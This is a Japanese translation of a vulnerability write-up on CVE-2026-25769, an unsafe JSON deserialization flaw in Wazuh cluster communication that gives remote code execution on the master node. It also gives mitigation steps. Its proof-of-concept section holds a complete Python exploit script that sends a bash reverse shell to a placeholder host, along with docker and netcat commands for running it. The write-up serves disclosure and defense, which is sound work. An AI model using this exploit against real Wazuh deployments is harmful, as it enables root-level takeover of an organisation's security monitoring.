CVE-2026-25769: Wazuh内の安全でないデシリアライゼーションによる重大なリモートコード実行

概要

Wazuhのクラスター通信メカニズムの脆弱性により、ワーカーノードを制御する攻撃者がマスターノード上で任意のコードを実行できます。根本原因は、ユーザー制御のモジュールインポートと関数実行を可能にするカスタムobject_hookを使用した安全でないJSONデシリアライゼーションにあります。

マスターノードは中央管理システムとして機能するため、成功した悪用はクラスター全体の侵害につながり、Wazuhバージョン4.0.0～4.14.2に影響する重大なRCE脆弱性となります。

Wazuhとは何か？

Wazuhは、以下に使用される無料でオープンソースのセキュリティプラットフォームです：

脅威検出
セキュリティ監視（SIEM）
侵入検知（HIDS）
インシデント対応

エンドポイント、サーバー、クラウド環境からデータを収集・分析し、悪意のある活動をリアルタイムで検出します。

組織がWazuhを使用する理由

1 – 脅威検出

ログとシステムアクティビティを監視して以下を検出します：

マルウェア
侵入
疑わしい動作

2 – 集中化されたセキュリティ監視

以下からのログを集約します：

サーバー
アプリケーション
エンドポイント

セキュリティイベントの統合ビューを提供します。

3 – 侵入検知

以下を検出します：

ファイルの整合性の変化
不正なアクセス
権限昇格

4 – 自動化された対応

自動的に以下を実行できます：

攻撃者をブロック
アラートをトリガー
対応スクリプトを実行

5 – クラウドおよびコンプライアンスサポート

以下をサポートします：

クラウドプラットフォーム（AWS、Azure）
コンプライアンス基準（PCI-DSS、GDPR、HIPAA）

Wazuhが重要な理由

中央セキュリティハブとして機能
早期脅威検出を実現
対応時間を短縮
費用効率的（オープンソース）
エンタープライズ環境で広く使用されている

Wazuhクラスターアーキテクチャ

この図はWazuhの標準的なクラスターアーキテクチャを示し、マスターノードとワーカーノードが安全で分散された環境でどのように相互作用するかを示しています。

1. マスターノード（中央コントローラー）

マスターノードはクラスターのコアコンポーネントです。

主要機能：

中央管理：クラスター全体を制御
ルール配布：検出ルールをワーカーに送信
データ処理：イベントの分析と相関関係を処理
APIサービス：中央インターフェース（DAPIなど）を提供

それはシステムの脳として機能し、すべての操作を調整します。

2. ワーカーノード（分散エージェント）

ワーカーノードはマスターに接続された複数のシステムです。

主要機能：

エンドポイントからログとセキュリティイベントを収集
初期処理を実行
リクエストとデータをマスターノードに送信

それらはインフラストラクチャ全体のデータ収集および実行者として機能します。

3. セキュアな通信レイヤー

ノード間のすべての通信が保護されています。

機能：

Fernet対称暗号化を使用
共有キーは以下に保存：ossec.conf
確保するもの：
- 機密性（データは暗号化されている）
- 認証（信頼されたノードのみが接続可能）

4. ネットワーク通信（TCPポート1516）

ワーカーはTCPポート1516を介してマスターに接続
このチャネルは以下に使用：
- ログの送信
- APIリクエスト
- クラスター同期

それはクラスター内の主な通信パイプラインです。

脆弱性のあるコード

デシリアライゼーションフック

# framework/wazuh/core/cluster/common.py

from importlib import import_module
def as_wazuh_object(dct):
    try:
        if '__callable__' in dct:
            encoded_callable = dct['__callable__']
            funcname = encoded_callable['__name__']
            if '__wazuh__' in encoded_callable:
                wazuh = Wazuh()
                return getattr(wazuh, funcname)
            else:
                qualname = encoded_callable['__qualname__'].split('.')
                classname = qualname[0] if len(qualname) > 1 else None
                module_path = encoded_callable['__module__']   # ❌ ユーザー制御
                module = import_module(module_path)            # ❌ 任意のインポート
                if classname is None:
                    return getattr(module, funcname)           # ❌ 任意の関数
                else:
                    return getattr(getattr(module, classname), funcname)
    except Exception:
        return dct

実行ポイント

# framework/wazuh/core/cluster/dapi/dapi.py
# デシリアライゼーション
request = json.loads(request, object_hook=c_common.as_wazuh_object)
# 実行
data = f(**f_kwargs)   # ❌ 攻撃者制御の関数実行

なぜこれが脆弱なのか

1. ユーザー制御のモジュールインポート

module = import_module(module_path)

module_pathはJSONインプットから直接取得
検証またはホワイトリストなし
攻撃者は以下をインポート可能：
- os
- subprocess
- shutil
- インストールされたあらゆるモジュール

2. 任意の関数解決

getattr(module, funcname)

攻撃者はモジュール内の任意の関数を選択
例：
- subprocess.getoutput
- os.system

3. 関数オブジェクトが返される

return getattr(module, funcname)

データを返す代わりに→呼び出し可能な関数を返す
これはデータとコードの境界を破壊

4. 信頼されていない関数の直接実行

data = f(**f_kwargs)

fは攻撃者制御
f_kwargsは攻撃者制御
マスターノード権限で実行

根本原因

この脆弱性の根本原因はCWE-502であり、Wazuhでの信頼されていないインプットのJSON デシリアライゼーション中の安全でない処理に起因します。

具体的には、Wazuhクラスター通信メカニズムはカスタムobject_hookを使用して：

ユーザー制御のJSONインプットを受け入れ
動的にPythonモジュールをインポート
呼び出し可能なオブジェクトを解決
データの代わりに実行可能な関数を返す

これは事実上信頼されていないデータを実行可能なコードに変換することを許可し、データとロジックの基本的な境界に違反します。

インプット検証
安全なモジュール/関数のホワイトリスト
サンドボックス化または実行制限

トラストモデルの失敗

この脆弱性は重要なアーキテクチャ上の問題も明らかにしています：

マスターとワーカーノード間のトラストモデルが過度に許容的です。

Wazuhは以下を想定しています：

すべてのワーカーノードは完全に信頼されている
認証されたワーカーから受け取ったデータはデシリアライゼーションするのに安全

この仮定は、以下のような現実のシナリオでは危険になります：

ワーカーノードが侵害される可能性
攻撃者が側方移動アクセスを獲得
インサイダー脅威またはサプライチェーン攻撃が存在

結果として、認証は検証の代わりとして扱われ、これは直接的に悪用につながります。

攻撃チェーン

1. 侵害されたワーカーノード

攻撃者は既にワーカーノードを制御
マスターに任意のメッセージを送信可能

send_to_master(malicious_payload)

攻撃者が信頼されたワーカーノードを制御します。ワーカーはクラスター内で信頼されているため、追加の検証なしにマスターと直接通信できます。

2. 悪意のあるJSONペイロード

{
  "__callable__": {
    "__module__": "subprocess",
    "__name__": "getoutput",
    "__qualname__": "getoutput"
  },
  "f_kwargs": {
    "cmd": "id"
  }
}

攻撃者は実行するモジュールと関数、および引数を指定する__callableオブジェクトを含むJSONペイロードを作成します。

3. ペイロードがクラスター通信経由で送信

import socket, json
sock.send(json.dumps(payload).encode())

ペイロードはワーカーからマスターノードへクラスター通信チャネルを介して送信されます。接続は暗号化されていますが、コンテンツは検証されていません。

4. object_hookを使用したデシリアライゼーション

import json
request = json.loads(request, object_hook=as_wazuh_object)

マスターはカスタムobject_hookを使用して受信JSONをデシリアライゼーションし、JSONオブジェクトをPythonオブジェクトに変換します。

5. 任意のモジュールインポート

from importlib import import_module
module_path = encoded_callable['__module__']  # "subprocess"
module = import_module(module_path)

システムは検証または制限なしに、攻撃者制御のインプットに基づくPythonモジュールをインポートします。

6. 任意の関数解決

funcname = encoded_callable['__name__']  # "getoutput"
f = getattr(module, funcname)

コードはインポートされたモジュールから関数を取得します。攻撃者は選択される関数を完全に制御します。

7. 関数オブジェクトが返される

return f
# f は現在 subprocess.getoutput と等しい

安全なデータを返す代わりに、デシリアライゼーションプロセスは呼び出し可能な関数オブジェクトを返し、データを実行可能なコードに変えます。

8. 関数の実行

f_kwargs = {"cmd": "id"}
data = f(**f_kwargs)

関数は攻撃者制御の引数で実行され、システムレベルのコマンドを直接トリガーします。

9. リモートコード実行（RCE）

import subprocess
subprocess.getoutput(cmd="id")

最終的な結果はマスターノードでの任意のコマンド実行であり、通常は昇格された権限（root）で実行され、完全なシステム侵害につながります。

脆弱性のあるバージョン

Wazuhの以下のバージョンに影響します：

影響を受ける範囲

4.0.0 → 4.14.2

概念実証（PoC）

1- このセクションは、攻撃者がクラスター通信の安全でないデシリアライゼーションを悪用することで、Wazuhマスターノード上でリモートコード実行（RCE）を達成する方法を示しています。

sudo docker exec master /var/ossec/bin/cluster_control -l

このコマンドはクラスター内のすべてのノード（マスターとワーカー）をリストします。
攻撃者制御のワーカーノードが接続され、信頼されていることを確認します。

エクスプロイトスクリプト

#!/usr/bin/env python3
import sys, json, asyncio, importlib.util
def load_module(path):
    spec = importlib.util.spec_from_file_location('m', path)
    m = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(m)
    return m
# ペイロード：マスターは subprocess.getoutput(cmd="...")を実行します
PAYLOAD = {
    "f": {"__callable__": {"__name__": "getoutput", "__module__": "subprocess", "__qualname__": "getoutput"}},
    "f_kwargs": {"cmd": "bash -c 'bash -i >& /dev/tcp/MACHINE_IP/4444 0>&1'"},
    "request_type": "local_master"
}
async def main():
    lc = load_module('/var/ossec/framework/wazuh/core/cluster/local_client.py').LocalClient()
    await lc.start()
    print(f"Sending: {json.dumps(PAYLOAD)}")
    await lc.execute(command=b'dapi', data=json.dumps(PAYLOAD).encode())
    print("Check the listener running on MACHINE_IP:4444 to confirm the shell")
asyncio.run(main())

スクリプトの目的

このスクリプトはWazuh内の安全でないデシリアライゼーション（CVE-2026-25769）を悪用して：

マスターノードで任意のコマンドを実行
リバースシェルを攻撃者に確立する

外部攻撃面の代わりに、信頼できるクラスター通信（DAPI）を活用します。

2. コード分析

A. 動的モジュールローダー

def load_module(path):
    spec = importlib.util.spec_from_file_location('m', path)
    m = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(m)
    return m

実行内容：

Pythonファイルをディスクから直接ロード
このケースでは：

/var/ossec/framework/wazuh/core/cluster/local_client.py

使用理由：

標準Pythonパスを介したインポートを回避
Wazuh内部クラス（LocalClient）へのアクセスを確保

B. ペイロード構成

PAYLOAD = {
    "f": {"__callable__": {"__name__": "getoutput", "__module__": "subprocess", "__qualname__": "getoutput"}},
    "f_kwargs": {"cmd": "bash -c 'bash -i >& /dev/tcp/MACHINE_IP/4444 0>&1'"},
    "request_type": "local_master"
}

重大な部分

これはコアエクスプロイトです。

マスターで何が起こるか：

JSONが解析される：

json.loads(..., object_hook=as_wazuh_object)

__callableがトリガー：

import_module("subprocess")
getattr(module, "getoutput")

結果：

f = subprocess.getoutput

その後実行：

f(**f_kwargs)

リバースシェルコマンド

bash -c 'bash -i >& /dev/tcp/MACHINE_IP/4444 0>&1'

効果：

マスター→攻撃者からインタラクティブシェルを開く
TCPリダイレクションを使用
成功した場合は完全にインタラクティブ

C. request_type: local_master が重要な理由

"request_type": "local_master"

目的：

マスターノード上での実行を強制
ワーカー側の処理をバイパス

これなしの場合：

ペイロードが実行ポイントに到達しない可能性がある

D. 実行フロー

lc = load_module(...).LocalClient()
await lc.start()
await lc.execute(command=b'dapi', data=json.dumps(PAYLOAD).encode())

何が起こるか：

LocalClient()：
- 内部クラスタークライアントを作成
- 信頼できる通信チャネル

lc.start()：
- マスターへの接続を初期化

execute()：
- ペイロードを以下経由で送信：

DAPI（分散API）

2 – エクスプロイトスクリプトを侵害されたワーカーコンテナーにコピー。

sudo docker cp poc.py worker:/exploit/poc.py

3 – ワーカーからエクスプロイトを実行

sudo docker exec worker /var/ossec/framework/python/bin/python3 /exploit/poc.py

4 – リスナーを起動

nc -nlvp 4444

マスターノードからのリバースシェルを受け取るためにNetcatリスナーを起動します。

5 – 結果 – リバースシェル

実行されると：

マスターはペイロードを処理
それをsubprocess.getoutputにデシリアライゼーション
リバースシェルコマンドを実行
攻撃者に接続を返す

影響

この脆弱性はクラスターモードで実行されているWazuh環境に重大な影響を及ぼします。

1- リモートコード実行（RCE）

攻撃者はマスターノードで任意のコマンドを実行可能
複雑なエクスプロイトは不要 — 作成されたJSONペイロードのみ

2- ルートレベルのアクセス

コマンドは高い権限（多くの場合root）で実行
基盤となるシステムを完全に制御

3 – クラスター全体の侵害

マスターノードが制御：
- すべてのワーカーノード
- セキュリティ設定
- データ処理

4- 側方移動

攻撃者は以下にピボット可能：
- 他のサーバー
- 内部サービス
- 接続されたインフラストラクチャ

5- データの流出

以下のような機密データへのアクセス：
- セキュリティログ
- 認証情報
- 設定ファイル

6- セキュリティ監視のバイパス

Wazuhはセキュリティプラットフォームであるため：
- 攻撃者は検出ルールを無効化可能
- アラートを変更
- 活動を非表示

軽減

主要な修正はWazuhをバージョン4.14.3以降にアップグレードすることで、デシリアライゼーション中の任意のモジュールインポートを防ぐためのホワイトリストを導入しています。

即座のアップグレードが不可能な場合は、以下の対策を適用してください：

1. セキュアなバージョンにアップグレード

Wazuh 4.14.3+に更新
このバージョンはas_wazuh_object()内の安全でないモジュールインポートを制限

2. ネットワークアクセスを制限

TCPポート1516へのアクセスを制限
信頼されたワーカーIPアドレスのみを許可
認可されていないすべての接続をブロック

3. ワーカーノードの整合性を監視

ワーカーノードの侵害を継続的に監視
以下を検出：
- 不正なアクセス
- 疑わしいプロセス

ワーカーを潜在的な攻撃エントリーポイントとして扱う

4. ネットワークセグメンテーション

マスターとワーカーノードを別々のネットワークゾーンに分離
それらの間に厳格なファイアウォールルールを適用
側方移動のリスクを軽減

5 – クラスターキーをローテーション

定期的にクラスター暗号化キーをローテーション
疑われる侵害後は直ちにキーをローテーション
権限のないノードがクラスターに参加するのを防止

6. 長期的なセキュリティ強化

最小権限をWazuhサービスに適用
クラスター通信の監査ログを有効化
マスターノードにファイルの整合性監視をデプロイ
LocalClientおよび内部APIへのアクセスを制限

結論

CVE-2026-25769はデータが暗黙的に信頼され、コードとして実行される基本的なセキュリティ欠陥を強調しています。Wazuhクラスターのような分散システムでは、ノード間の信頼は適切に検証されない場合に重大な弱点になります。

ユーザー制御のインプットがモジュールインポートと関数実行を指示することを許可することで、Wazuhはマスターノードを完全な侵害に意図せず露出させます。マスターはセキュリティインフラストラクチャ全体を調整するため、この脆弱性は防御システムを攻撃ベクトルに効果的に変えます。

即座の修復が不可欠です。組織はパッチされたバージョンへのアップグレードを優先し、厳格なネットワークおよびノードレベルのセキュリティ制御を実装する必要があります。長期的には、これは厳格な検証またはホワイトリストなしでデシリアライゼーションを実行ロジックと混在させないことの強い警告として機能します。

翻訳元: https://www.resecurity.com/blog/article/cve-2026-25769-critical-remote-code-execution-in-wazuh-via-unsafe-deserialization